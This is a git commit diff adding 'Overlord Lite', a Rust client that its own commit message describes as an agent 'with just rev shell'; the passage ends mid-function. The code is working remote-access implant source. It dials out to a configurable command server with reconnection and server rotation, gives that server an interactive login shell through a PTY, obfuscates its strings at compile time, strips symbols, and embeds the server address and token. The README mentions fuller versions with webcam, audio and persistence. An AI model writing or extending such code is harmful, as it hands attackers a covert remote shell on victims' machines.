mess around with a rust agent version with just rev shell.
This commit is contained in:
Generated
+1260
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,39 @@
|
||||
[package]
|
||||
name = "overlord-lite"
|
||||
version = "0.3.0"
|
||||
edition = "2024"
|
||||
rust-version = "1.88"
|
||||
license = "Apache-2.0"
|
||||
description = "Minimal Rust agent for authenticated Overlord sessions"
|
||||
|
||||
[dependencies]
|
||||
anyhow = "1.0"
|
||||
base64 = "0.22"
|
||||
ed25519-dalek = { version = "2.2", features = ["rand_core"] }
|
||||
futures-util = "0.3"
|
||||
overlord-lite-string-obfuscator = { path = "string-obfuscator" }
|
||||
portable-pty = "0.9"
|
||||
rand_core = { version = "0.6", features = ["getrandom"] }
|
||||
rmp-serde = "1.3"
|
||||
rmpv = { version = "1.3", features = ["with-serde"] }
|
||||
rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_bytes = "0.11"
|
||||
serde_json = "1.0"
|
||||
sha2 = "0.10"
|
||||
tokio = { version = "1.48", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
|
||||
tokio-tungstenite = { version = "0.28", default-features = false, features = ["connect", "handshake", "rustls-tls-webpki-roots"] }
|
||||
uuid = { version = "1.18", features = ["v4", "serde"] }
|
||||
|
||||
[build-dependencies]
|
||||
serde_json = "1.0"
|
||||
|
||||
[dev-dependencies]
|
||||
tempfile = "3.23"
|
||||
|
||||
[profile.release]
|
||||
strip = true
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
opt-level = "z"
|
||||
@@ -0,0 +1,107 @@
|
||||
# Overlord Lite
|
||||
|
||||
Overlord Lite is a deliberately small Rust agent that proves the Overlord wire
|
||||
protocol works independently of the full Go agent. It supports authenticated
|
||||
server sessions, TLS identity pinning, heartbeats, and reconnection. It does
|
||||
not advertise or execute remote commands beyond its interactive TTY console.
|
||||
|
||||
## Supported
|
||||
|
||||
- Agent-token authentication through `x-agent-token`
|
||||
- TLS 1.3-only encrypted transport, with public-root or pinned self-signed identities
|
||||
- Persistent Ed25519 identity and enrollment challenge signing
|
||||
- MessagePack protocol negotiation
|
||||
- Ping/pong heartbeat and reconnect/server rotation
|
||||
- Interactive TTY console sessions with resize support
|
||||
|
||||
Plugins, desktop, file-manager, audio, webcam, persistence, update,
|
||||
and other full-agent commands are intentionally omitted.
|
||||
|
||||
## Build
|
||||
|
||||
Rust 1.88 or newer is required.
|
||||
|
||||
```text
|
||||
cd Overlord-Lite
|
||||
cargo build --release
|
||||
```
|
||||
|
||||
The output is `target/release/overlord-lite` (`overlord-lite.exe` on Windows).
|
||||
The release profile enables size optimization, LTO, symbol stripping, and
|
||||
abort-on-panic.
|
||||
|
||||
String literals that should not appear in plaintext in the executable can use
|
||||
the local `obfstr!` procedural macro:
|
||||
|
||||
```rust
|
||||
let header = overlord_lite::obfstr!("x-agent-token");
|
||||
```
|
||||
|
||||
The macro encrypts the literal while compiling and returns a decrypted
|
||||
`String` only when the expression runs. Builder-embedded server URLs, agent
|
||||
tokens, build tags, TLS pins, and advertised Lite command names use it
|
||||
automatically. This is binary obfuscation rather than secret storage: because
|
||||
the executable must decrypt its own values, a determined analyst can still
|
||||
recover them at runtime.
|
||||
|
||||
For Build-page integration, install `plugins/rust-lite-builder/rust-lite-builder.zip`
|
||||
through the Plugin Manager. The Agent Type selector will then offer **Rust
|
||||
Lite** and route selected targets through Cargo while retaining normal build
|
||||
permissions, history, downloads, hooks, and file-share upload behavior. Cargo
|
||||
and the requested Rust targets/linkers must be installed on the server host.
|
||||
|
||||
## Run
|
||||
|
||||
Configure the agent with the same token used by the server:
|
||||
|
||||
```powershell
|
||||
$env:OVERLORD_SERVER = "wss://overlord.example.com:5173"
|
||||
$env:OVERLORD_AGENT_TOKEN = "your-agent-token"
|
||||
cargo run --release
|
||||
```
|
||||
|
||||
Multiple servers may be comma-separated. Bare hosts default to `wss://`.
|
||||
|
||||
For a local development server using a self-signed certificate:
|
||||
|
||||
```powershell
|
||||
$env:OVERLORD_SERVER = "wss://localhost:5173"
|
||||
$env:OVERLORD_TLS_INSECURE_SKIP_VERIFY = "true"
|
||||
cargo run
|
||||
```
|
||||
|
||||
Disabling certificate verification also permits plaintext `ws://`. Do not
|
||||
enable it for production deployments.
|
||||
|
||||
Builder-produced binaries automatically embed the server's active TLS SPKI
|
||||
pin, so they securely accept its generated self-signed certificate without the
|
||||
development bypass. For manual builds, `OVERLORD_TLS_SPKI_PINS` accepts one or
|
||||
more comma-separated `sha256/<base64>` public-key pins.
|
||||
|
||||
## Configuration
|
||||
|
||||
| Variable | Default | Purpose |
|
||||
| --- | --- | --- |
|
||||
| `OVERLORD_SERVER` | `wss://127.0.0.1:5173` | One server, or a comma-separated rotation list |
|
||||
| `OVERLORD_AGENT_TOKEN` | empty | Shared server agent token |
|
||||
| `OVERLORD_BUILD_TAG` | compiled build tag | Runtime override for server build attribution |
|
||||
| `OVERLORD_TLS_SPKI_PINS` | compiled server pins | Comma-separated trusted server public-key pins |
|
||||
| `OVERLORD_TLS_INSECURE_SKIP_VERIFY` | `false` | Development-only TLS bypass |
|
||||
| `OVERLORD_LITE_STATE_DIR` | platform state directory | Persistent client ID and Ed25519 seed |
|
||||
| `OVERLORD_RECONNECT_DELAY_MS` | `5000` | Delay between connection attempts |
|
||||
| `OVERLORD_PING_INTERVAL_MS` | `30000` | Application heartbeat interval |
|
||||
|
||||
The identity file is created once as `identity.json`. Keep it private: deleting
|
||||
it creates a new identity that must enroll again.
|
||||
|
||||
The builder compiles `OVERLORD_LITE_DEFAULT_SERVER`,
|
||||
`OVERLORD_LITE_DEFAULT_AGENT_TOKEN`, and `OVERLORD_LITE_DEFAULT_BUILD_TAG` into
|
||||
the binary along with the server's TLS SPKI pins. Their corresponding runtime
|
||||
variables take precedence, so one binary can still be redirected deliberately
|
||||
after deployment.
|
||||
|
||||
## Protocol compatibility
|
||||
|
||||
`build.rs` reads `../protocol/wire-contract.json` during every build and
|
||||
generates the Lite client's protocol version from the canonical contract. The
|
||||
client advertises only the four version 1 console commands it implements.
|
||||
@@ -0,0 +1,72 @@
|
||||
use std::{env, fs, path::PathBuf};
|
||||
|
||||
use serde_json::Value;
|
||||
|
||||
fn main() {
|
||||
for name in [
|
||||
"OVERLORD_LITE_DEFAULT_SERVER",
|
||||
"OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
|
||||
"OVERLORD_LITE_DEFAULT_BUILD_TAG",
|
||||
"OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
|
||||
] {
|
||||
println!("cargo:rerun-if-env-changed={name}");
|
||||
}
|
||||
let contract_path = PathBuf::from("../protocol/wire-contract.json");
|
||||
println!("cargo:rerun-if-changed={}", contract_path.display());
|
||||
let contract: Value = serde_json::from_slice(
|
||||
&fs::read(&contract_path).expect("read protocol/wire-contract.json"),
|
||||
)
|
||||
.expect("parse protocol/wire-contract.json");
|
||||
|
||||
let protocol_version = contract["protocolVersion"]
|
||||
.as_u64()
|
||||
.expect("wire contract protocolVersion");
|
||||
let mut generated = format!("pub const WIRE_PROTOCOL_VERSION: u16 = {protocol_version};\n");
|
||||
for (name, env_name) in [
|
||||
("built_default_server", "OVERLORD_LITE_DEFAULT_SERVER"),
|
||||
(
|
||||
"built_default_agent_token",
|
||||
"OVERLORD_LITE_DEFAULT_AGENT_TOKEN",
|
||||
),
|
||||
("built_default_build_tag", "OVERLORD_LITE_DEFAULT_BUILD_TAG"),
|
||||
(
|
||||
"built_default_tls_spki_pins",
|
||||
"OVERLORD_LITE_DEFAULT_TLS_SPKI_PINS",
|
||||
),
|
||||
] {
|
||||
let value = env::var(env_name).unwrap_or_default();
|
||||
generated.push_str(&format!(
|
||||
"pub fn {name}() -> String {{ crate::obfstr!({value:?}) }}\n"
|
||||
));
|
||||
}
|
||||
let commands = contract["commands"]
|
||||
.as_array()
|
||||
.expect("wire contract commands");
|
||||
let default_version = contract["commandVersioning"]["defaultVersion"]
|
||||
.as_u64()
|
||||
.expect("wire contract default command version");
|
||||
let lite_commands = [
|
||||
"console_input",
|
||||
"console_resize",
|
||||
"console_start",
|
||||
"console_stop",
|
||||
];
|
||||
for command in lite_commands {
|
||||
assert!(
|
||||
commands.iter().any(|value| value.as_str() == Some(command)),
|
||||
"Lite command {command} is missing from the wire contract"
|
||||
);
|
||||
assert_eq!(
|
||||
default_version, 1,
|
||||
"Lite console handlers implement command version 1"
|
||||
);
|
||||
}
|
||||
generated.push_str("pub fn lite_command_version_support() -> [(String, u16, u16); 4] { [\n");
|
||||
for command in lite_commands {
|
||||
generated.push_str(&format!(" (crate::obfstr!({command:?}), 1, 1),\n"));
|
||||
}
|
||||
generated.push_str("] }\n");
|
||||
|
||||
let output = PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR")).join("wire_contract.rs");
|
||||
fs::write(output, generated).expect("write generated Rust wire constants");
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
use std::{env, fmt, path::PathBuf, time::Duration};
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||
use tokio_tungstenite::tungstenite::http::Uri;
|
||||
|
||||
use crate::{obfstr, protocol};
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct Config {
|
||||
pub servers: Vec<ServerUrl>,
|
||||
pub agent_token: Option<String>,
|
||||
pub build_tag: Option<String>,
|
||||
pub insecure_tls: bool,
|
||||
pub tls_spki_pins: Vec<[u8; 32]>,
|
||||
pub state_dir: PathBuf,
|
||||
pub reconnect_delay: Duration,
|
||||
pub heartbeat_interval: Duration,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug, Eq, PartialEq)]
|
||||
pub struct ServerUrl {
|
||||
normalized: String,
|
||||
scheme: String,
|
||||
}
|
||||
|
||||
impl ServerUrl {
|
||||
pub fn parse(value: &str) -> Result<Self> {
|
||||
parse_server_url(value)
|
||||
}
|
||||
|
||||
pub fn as_str(&self) -> &str {
|
||||
&self.normalized
|
||||
}
|
||||
|
||||
pub fn scheme(&self) -> &str {
|
||||
&self.scheme
|
||||
}
|
||||
}
|
||||
|
||||
impl fmt::Display for ServerUrl {
|
||||
fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||
formatter.write_str(&self.normalized)
|
||||
}
|
||||
}
|
||||
|
||||
impl Config {
|
||||
pub fn from_env() -> Result<Self> {
|
||||
let raw_servers = env::var(obfstr!("OVERLORD_SERVER")).unwrap_or_else(|_| {
|
||||
let built_default = protocol::built_default_server();
|
||||
if built_default.is_empty() {
|
||||
obfstr!("wss://127.0.0.1:5173")
|
||||
} else {
|
||||
built_default
|
||||
}
|
||||
});
|
||||
let servers = raw_servers
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|value| !value.is_empty())
|
||||
.map(parse_server_url)
|
||||
.collect::<Result<Vec<_>>>()?;
|
||||
if servers.is_empty() {
|
||||
bail!("OVERLORD_SERVER did not contain a server URL");
|
||||
}
|
||||
|
||||
let insecure_tls = env_bool(&obfstr!("OVERLORD_TLS_INSECURE_SKIP_VERIFY"));
|
||||
let raw_tls_spki_pins = env::var(obfstr!("OVERLORD_TLS_SPKI_PINS"))
|
||||
.ok()
|
||||
.filter(|value| !value.trim().is_empty())
|
||||
.unwrap_or_else(protocol::built_default_tls_spki_pins);
|
||||
let tls_spki_pins = parse_tls_spki_pins(&raw_tls_spki_pins)?;
|
||||
if servers.iter().any(|url| url.scheme() == obfstr!("ws")) && !insecure_tls {
|
||||
bail!("plaintext ws:// requires OVERLORD_TLS_INSECURE_SKIP_VERIFY=true");
|
||||
}
|
||||
|
||||
Ok(Self {
|
||||
servers,
|
||||
agent_token: env::var(obfstr!("OVERLORD_AGENT_TOKEN"))
|
||||
.ok()
|
||||
.or_else(|| Some(protocol::built_default_agent_token()))
|
||||
.filter(|value| !value.trim().is_empty()),
|
||||
build_tag: env::var(obfstr!("OVERLORD_BUILD_TAG"))
|
||||
.ok()
|
||||
.or_else(|| Some(protocol::built_default_build_tag()))
|
||||
.filter(|value| !value.trim().is_empty()),
|
||||
insecure_tls,
|
||||
tls_spki_pins,
|
||||
state_dir: env::var_os(obfstr!("OVERLORD_LITE_STATE_DIR"))
|
||||
.map(PathBuf::from)
|
||||
.unwrap_or_else(default_state_dir),
|
||||
reconnect_delay: env_duration(&obfstr!("OVERLORD_RECONNECT_DELAY_MS"), 5_000),
|
||||
heartbeat_interval: env_duration(&obfstr!("OVERLORD_PING_INTERVAL_MS"), 30_000),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_tls_spki_pins(value: &str) -> Result<Vec<[u8; 32]>> {
|
||||
value
|
||||
.split(',')
|
||||
.map(str::trim)
|
||||
.filter(|pin| !pin.is_empty())
|
||||
.map(|pin| {
|
||||
let prefix = obfstr!("sha256/");
|
||||
let encoded = pin.strip_prefix(&prefix).unwrap_or(pin);
|
||||
let decoded = STANDARD
|
||||
.decode(encoded)
|
||||
.with_context(|| format!("invalid TLS SPKI pin {pin:?}"))?;
|
||||
decoded
|
||||
.try_into()
|
||||
.map_err(|_| anyhow::anyhow!("invalid TLS SPKI pin {pin:?}: expected 32 bytes"))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn parse_server_url(value: &str) -> Result<ServerUrl> {
|
||||
let separator = obfstr!("://");
|
||||
let with_scheme = if value.contains(&separator) {
|
||||
value.to_owned()
|
||||
} else {
|
||||
let mut server = obfstr!("wss://");
|
||||
server.push_str(value);
|
||||
server
|
||||
};
|
||||
let without_fragment = with_scheme.split('#').next().unwrap_or(&with_scheme);
|
||||
let uri: Uri = without_fragment
|
||||
.parse()
|
||||
.with_context(|| format!("invalid server URL {value:?}"))?;
|
||||
let input_scheme = uri
|
||||
.scheme_str()
|
||||
.ok_or_else(|| anyhow::anyhow!("server URL is missing a scheme"))?;
|
||||
let scheme = if input_scheme == obfstr!("https") {
|
||||
obfstr!("wss")
|
||||
} else if input_scheme == obfstr!("http") {
|
||||
obfstr!("ws")
|
||||
} else if input_scheme == obfstr!("wss") || input_scheme == obfstr!("ws") {
|
||||
input_scheme.to_owned()
|
||||
} else {
|
||||
bail!("unsupported server URL scheme {input_scheme:?}");
|
||||
};
|
||||
let authority = uri
|
||||
.authority()
|
||||
.ok_or_else(|| anyhow::anyhow!("server URL is missing a host"))?;
|
||||
if authority.host().is_empty() || authority.as_str().contains('@') {
|
||||
bail!("server URL has an invalid host");
|
||||
}
|
||||
Ok(ServerUrl {
|
||||
normalized: format!("{scheme}://{authority}/"),
|
||||
scheme,
|
||||
})
|
||||
}
|
||||
|
||||
fn env_bool(name: &str) -> bool {
|
||||
env::var(name)
|
||||
.map(|value| {
|
||||
let normalized = value.trim().to_ascii_lowercase();
|
||||
normalized == obfstr!("1")
|
||||
|| normalized == obfstr!("true")
|
||||
|| normalized == obfstr!("yes")
|
||||
|| normalized == obfstr!("on")
|
||||
})
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
fn env_duration(name: &str, default_ms: u64) -> Duration {
|
||||
let ms = env::var(name)
|
||||
.ok()
|
||||
.and_then(|value| value.trim().parse::<u64>().ok())
|
||||
.unwrap_or(default_ms);
|
||||
Duration::from_millis(ms)
|
||||
}
|
||||
|
||||
fn default_state_dir() -> PathBuf {
|
||||
#[cfg(target_os = "windows")]
|
||||
if let Some(root) = env::var_os(obfstr!("LOCALAPPDATA")) {
|
||||
return PathBuf::from(root)
|
||||
.join(obfstr!("Overlord"))
|
||||
.join(obfstr!("Lite"));
|
||||
}
|
||||
|
||||
#[cfg(target_os = "macos")]
|
||||
if let Some(root) = env::var_os(obfstr!("HOME")) {
|
||||
return PathBuf::from(root)
|
||||
.join(obfstr!("Library"))
|
||||
.join(obfstr!("Application Support"))
|
||||
.join(obfstr!("Overlord Lite"));
|
||||
}
|
||||
|
||||
if let Some(root) = env::var_os(obfstr!("XDG_STATE_HOME")) {
|
||||
return PathBuf::from(root).join(obfstr!("overlord-lite"));
|
||||
}
|
||||
if let Some(root) = env::var_os(obfstr!("HOME")) {
|
||||
return PathBuf::from(root)
|
||||
.join(obfstr!(".local"))
|
||||
.join(obfstr!("state"))
|
||||
.join(obfstr!("overlord-lite"));
|
||||
}
|
||||
PathBuf::from(obfstr!(".overlord-lite"))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn normalizes_server_urls() {
|
||||
assert_eq!(
|
||||
ServerUrl::parse("example.com:5173").unwrap().as_str(),
|
||||
"wss://example.com:5173/"
|
||||
);
|
||||
assert_eq!(
|
||||
ServerUrl::parse("https://example.com/base")
|
||||
.unwrap()
|
||||
.as_str(),
|
||||
"wss://example.com/"
|
||||
);
|
||||
assert_eq!(
|
||||
ServerUrl::parse("http://[::1]:5173/path?ignored=true#fragment")
|
||||
.unwrap()
|
||||
.as_str(),
|
||||
"ws://[::1]:5173/"
|
||||
);
|
||||
assert!(ServerUrl::parse("ftp://example.com").is_err());
|
||||
assert!(ServerUrl::parse("wss://user@example.com").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parses_prefixed_and_plain_spki_pins() {
|
||||
let encoded = STANDARD.encode([0x42; 32]);
|
||||
let pins = parse_tls_spki_pins(&format!("sha256/{encoded},{encoded}")).unwrap();
|
||||
assert_eq!(pins, vec![[0x42; 32], [0x42; 32]]);
|
||||
assert!(parse_tls_spki_pins("not-a-pin").is_err());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,283 @@
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
env,
|
||||
io::{Read, Write},
|
||||
sync::LazyLock,
|
||||
thread,
|
||||
};
|
||||
|
||||
use anyhow::{Context, Result, anyhow, bail};
|
||||
use portable_pty::{ChildKiller, CommandBuilder, MasterPty, PtySize, native_pty_system};
|
||||
use tokio::sync::mpsc::Sender;
|
||||
|
||||
use crate::obfstr;
|
||||
use crate::protocol::{self, ConsoleOutput};
|
||||
|
||||
const DEFAULT_COLS: u16 = 120;
|
||||
const DEFAULT_ROWS: u16 = 36;
|
||||
const MAX_DIMENSION: u16 = 1_000;
|
||||
static CONSOLE_OUTPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_output"));
|
||||
|
||||
struct ConsoleSession {
|
||||
master: Box<dyn MasterPty + Send>,
|
||||
writer: Box<dyn Write + Send>,
|
||||
killer: Box<dyn ChildKiller + Send + Sync>,
|
||||
}
|
||||
|
||||
pub struct ConsoleHub {
|
||||
sessions: HashMap<String, ConsoleSession>,
|
||||
outbound: Sender<Vec<u8>>,
|
||||
}
|
||||
|
||||
impl ConsoleHub {
|
||||
pub fn new(outbound: Sender<Vec<u8>>) -> Self {
|
||||
Self {
|
||||
sessions: HashMap::new(),
|
||||
outbound,
|
||||
}
|
||||
}
|
||||
|
||||
pub fn start(&mut self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
|
||||
validate_session_id(session_id)?;
|
||||
self.stop(session_id);
|
||||
|
||||
let size = terminal_size(cols, rows);
|
||||
let pair = native_pty_system().openpty(size).context("open terminal")?;
|
||||
let mut command = shell_command();
|
||||
command.env(obfstr!("TERM"), obfstr!("xterm-256color"));
|
||||
let child = pair
|
||||
.slave
|
||||
.spawn_command(command)
|
||||
.context("start terminal shell")?;
|
||||
drop(pair.slave);
|
||||
|
||||
let reader = pair
|
||||
.master
|
||||
.try_clone_reader()
|
||||
.context("open terminal output")?;
|
||||
let writer = pair.master.take_writer().context("open terminal input")?;
|
||||
let killer = child.clone_killer();
|
||||
|
||||
spawn_output_forwarder(session_id.to_owned(), reader, child, self.outbound.clone());
|
||||
self.sessions.insert(
|
||||
session_id.to_owned(),
|
||||
ConsoleSession {
|
||||
master: pair.master,
|
||||
writer,
|
||||
killer,
|
||||
},
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn write(&mut self, session_id: &str, data: &str) -> Result<()> {
|
||||
let session = self
|
||||
.sessions
|
||||
.get_mut(session_id)
|
||||
.ok_or_else(|| anyhow!("console session not found"))?;
|
||||
session
|
||||
.writer
|
||||
.write_all(data.as_bytes())
|
||||
.context("write terminal input")?;
|
||||
session.writer.flush().context("flush terminal input")
|
||||
}
|
||||
|
||||
pub fn resize(&self, session_id: &str, cols: i64, rows: i64) -> Result<()> {
|
||||
let session = self
|
||||
.sessions
|
||||
.get(session_id)
|
||||
.ok_or_else(|| anyhow!("console session not found"))?;
|
||||
session
|
||||
.master
|
||||
.resize(terminal_size(cols, rows))
|
||||
.context("resize terminal")
|
||||
}
|
||||
|
||||
pub fn stop(&mut self, session_id: &str) {
|
||||
if let Some(mut session) = self.sessions.remove(session_id) {
|
||||
let _ = session.killer.kill();
|
||||
}
|
||||
}
|
||||
|
||||
pub fn stop_all(&mut self) {
|
||||
for (_, mut session) in self.sessions.drain() {
|
||||
let _ = session.killer.kill();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ConsoleHub {
|
||||
fn drop(&mut self) {
|
||||
self.stop_all();
|
||||
}
|
||||
}
|
||||
|
||||
fn spawn_output_forwarder(
|
||||
session_id: String,
|
||||
mut reader: Box<dyn Read + Send>,
|
||||
mut child: Box<dyn portable_pty::Child + Send + Sync>,
|
||||
outbound: Sender<Vec<u8>>,
|
||||
) {
|
||||
thread::spawn(move || {
|
||||
let mut buffer = [0u8; 4096];
|
||||
loop {
|
||||
match reader.read(&mut buffer) {
|
||||
Ok(0) => break,
|
||||
Ok(size) => send_output(&outbound, &session_id, Some(&buffer[..size]), None, None),
|
||||
Err(error) => {
|
||||
send_output(&outbound, &session_id, None, None, Some(&error.to_string()));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
match child.wait() {
|
||||
Ok(status) => send_output(
|
||||
&outbound,
|
||||
&session_id,
|
||||
None,
|
||||
Some(i32::try_from(status.exit_code()).unwrap_or(i32::MAX)),
|
||||
None,
|
||||
),
|
||||
Err(error) => send_output(&outbound, &session_id, None, None, Some(&error.to_string())),
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
fn send_output(
|
||||
outbound: &Sender<Vec<u8>>,
|
||||
session_id: &str,
|
||||
data: Option<&[u8]>,
|
||||
exit_code: Option<i32>,
|
||||
error: Option<&str>,
|
||||
) {
|
||||
let message = ConsoleOutput {
|
||||
message_type: CONSOLE_OUTPUT.as_str(),
|
||||
session_id,
|
||||
data: data.map(serde_bytes::Bytes::new),
|
||||
exit_code,
|
||||
error,
|
||||
};
|
||||
if let Ok(encoded) = protocol::encode(&message) {
|
||||
let _ = outbound.blocking_send(encoded);
|
||||
}
|
||||
}
|
||||
|
||||
fn shell_command() -> CommandBuilder {
|
||||
if cfg!(windows) {
|
||||
return CommandBuilder::new(
|
||||
env::var_os(obfstr!("COMSPEC")).unwrap_or_else(|| obfstr!("cmd.exe").into()),
|
||||
);
|
||||
}
|
||||
|
||||
let shell = env::var_os(obfstr!("SHELL")).unwrap_or_else(|| {
|
||||
if cfg!(target_os = "macos") {
|
||||
obfstr!("/bin/zsh").into()
|
||||
} else {
|
||||
obfstr!("/bin/bash").into()
|
||||
}
|
||||
});
|
||||
let mut command = CommandBuilder::new(shell);
|
||||
command.arg(obfstr!("-l"));
|
||||
command
|
||||
}
|
||||
|
||||
fn validate_session_id(session_id: &str) -> Result<()> {
|
||||
if session_id.is_empty() {
|
||||
bail!("missing console session id");
|
||||
}
|
||||
if session_id.len() > 128 {
|
||||
bail!("console session id is too long");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn terminal_size(cols: i64, rows: i64) -> PtySize {
|
||||
PtySize {
|
||||
cols: dimension(cols, DEFAULT_COLS),
|
||||
rows: dimension(rows, DEFAULT_ROWS),
|
||||
pixel_width: 0,
|
||||
pixel_height: 0,
|
||||
}
|
||||
}
|
||||
|
||||
fn dimension(value: i64, default: u16) -> u16 {
|
||||
if value <= 0 {
|
||||
default
|
||||
} else {
|
||||
u16::try_from(value)
|
||||
.unwrap_or(MAX_DIMENSION)
|
||||
.min(MAX_DIMENSION)
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
#[test]
|
||||
fn terminal_dimensions_are_defaulted_and_bounded() {
|
||||
assert_eq!(
|
||||
terminal_size(0, -1),
|
||||
PtySize {
|
||||
cols: 120,
|
||||
rows: 36,
|
||||
pixel_width: 0,
|
||||
pixel_height: 0
|
||||
}
|
||||
);
|
||||
assert_eq!(terminal_size(2_000, 50).cols, 1_000);
|
||||
assert_eq!(terminal_size(80, 50).rows, 50);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn session_ids_are_required_and_bounded() {
|
||||
assert!(validate_session_id("").is_err());
|
||||
assert!(validate_session_id(&"x".repeat(129)).is_err());
|
||||
assert!(validate_session_id("console-1").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn terminal_streams_command_output() {
|
||||
let (tx, mut rx) = tokio::sync::mpsc::channel(64);
|
||||
let mut hub = ConsoleHub::new(tx);
|
||||
hub.start("smoke", 80, 24).unwrap();
|
||||
let input = if cfg!(windows) {
|
||||
"\x1b[1;1Recho overlord-lite-tty\r\nexit\r\n"
|
||||
} else {
|
||||
"echo overlord-lite-tty\nexit\n"
|
||||
};
|
||||
hub.write("smoke", input).unwrap();
|
||||
|
||||
let deadline = Instant::now() + Duration::from_secs(10);
|
||||
let mut output = Vec::new();
|
||||
while Instant::now() < deadline {
|
||||
match rx.try_recv() {
|
||||
Ok(message) => {
|
||||
let decoded = protocol::decode(&message).unwrap();
|
||||
if let Some(rmpv::Value::Binary(data)) = protocol::field(&decoded, "data") {
|
||||
output.extend_from_slice(data);
|
||||
if String::from_utf8_lossy(&output).contains("overlord-lite-tty") {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if protocol::integer_field(&decoded, "exitCode").is_some() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {
|
||||
thread::sleep(Duration::from_millis(10));
|
||||
}
|
||||
Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => break,
|
||||
}
|
||||
}
|
||||
|
||||
hub.stop_all();
|
||||
assert!(
|
||||
String::from_utf8_lossy(&output).contains("overlord-lite-tty"),
|
||||
"terminal output did not contain the marker: {:?}",
|
||||
String::from_utf8_lossy(&output)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
use std::{fs, path::Path};
|
||||
|
||||
use anyhow::{Context, Result, bail};
|
||||
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||
use ed25519_dalek::{Signer, SigningKey};
|
||||
use rand_core::OsRng;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use sha2::{Digest, Sha256};
|
||||
use uuid::Uuid;
|
||||
|
||||
#[derive(Debug)]
|
||||
pub struct Identity {
|
||||
pub client_id: String,
|
||||
signing_key: SigningKey,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize)]
|
||||
struct StoredIdentity {
|
||||
client_id: String,
|
||||
seed_base64: String,
|
||||
}
|
||||
|
||||
impl Identity {
|
||||
pub fn load_or_create(state_dir: &Path) -> Result<Self> {
|
||||
fs::create_dir_all(state_dir)
|
||||
.with_context(|| format!("create state directory {}", state_dir.display()))?;
|
||||
let path = state_dir.join("identity.json");
|
||||
if path.exists() {
|
||||
let data = fs::read(&path).with_context(|| format!("read {}", path.display()))?;
|
||||
let stored: StoredIdentity = serde_json::from_slice(&data)
|
||||
.with_context(|| format!("parse {}", path.display()))?;
|
||||
let seed = STANDARD
|
||||
.decode(stored.seed_base64)
|
||||
.context("decode identity seed")?;
|
||||
let seed: [u8; 32] = seed
|
||||
.try_into()
|
||||
.map_err(|_| anyhow::anyhow!("identity seed must be 32 bytes"))?;
|
||||
return Ok(Self {
|
||||
client_id: stored.client_id,
|
||||
signing_key: SigningKey::from_bytes(&seed),
|
||||
});
|
||||
}
|
||||
|
||||
let signing_key = SigningKey::generate(&mut OsRng);
|
||||
let identity = Self {
|
||||
client_id: Uuid::new_v4().to_string(),
|
||||
signing_key,
|
||||
};
|
||||
let stored = StoredIdentity {
|
||||
client_id: identity.client_id.clone(),
|
||||
seed_base64: STANDARD.encode(identity.signing_key.to_bytes()),
|
||||
};
|
||||
let temp_path = state_dir.join("identity.json.tmp");
|
||||
fs::write(&temp_path, serde_json::to_vec_pretty(&stored)?)
|
||||
.with_context(|| format!("write {}", temp_path.display()))?;
|
||||
set_private_permissions(&temp_path)?;
|
||||
fs::rename(&temp_path, &path).with_context(|| format!("install {}", path.display()))?;
|
||||
Ok(identity)
|
||||
}
|
||||
|
||||
pub fn public_key_base64(&self) -> String {
|
||||
STANDARD.encode(self.signing_key.verifying_key().as_bytes())
|
||||
}
|
||||
|
||||
pub fn sign_base64(&self, nonce_base64: &str) -> Result<String> {
|
||||
let nonce = STANDARD
|
||||
.decode(nonce_base64)
|
||||
.context("decode enrollment nonce")?;
|
||||
if nonce.is_empty() {
|
||||
bail!("enrollment nonce was empty");
|
||||
}
|
||||
Ok(STANDARD.encode(self.signing_key.sign(&nonce).to_bytes()))
|
||||
}
|
||||
|
||||
pub fn fingerprint(&self) -> String {
|
||||
let digest = Sha256::digest(self.signing_key.verifying_key().as_bytes());
|
||||
digest.iter().map(|byte| format!("{byte:02x}")).collect()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
fn set_private_permissions(path: &Path) -> Result<()> {
|
||||
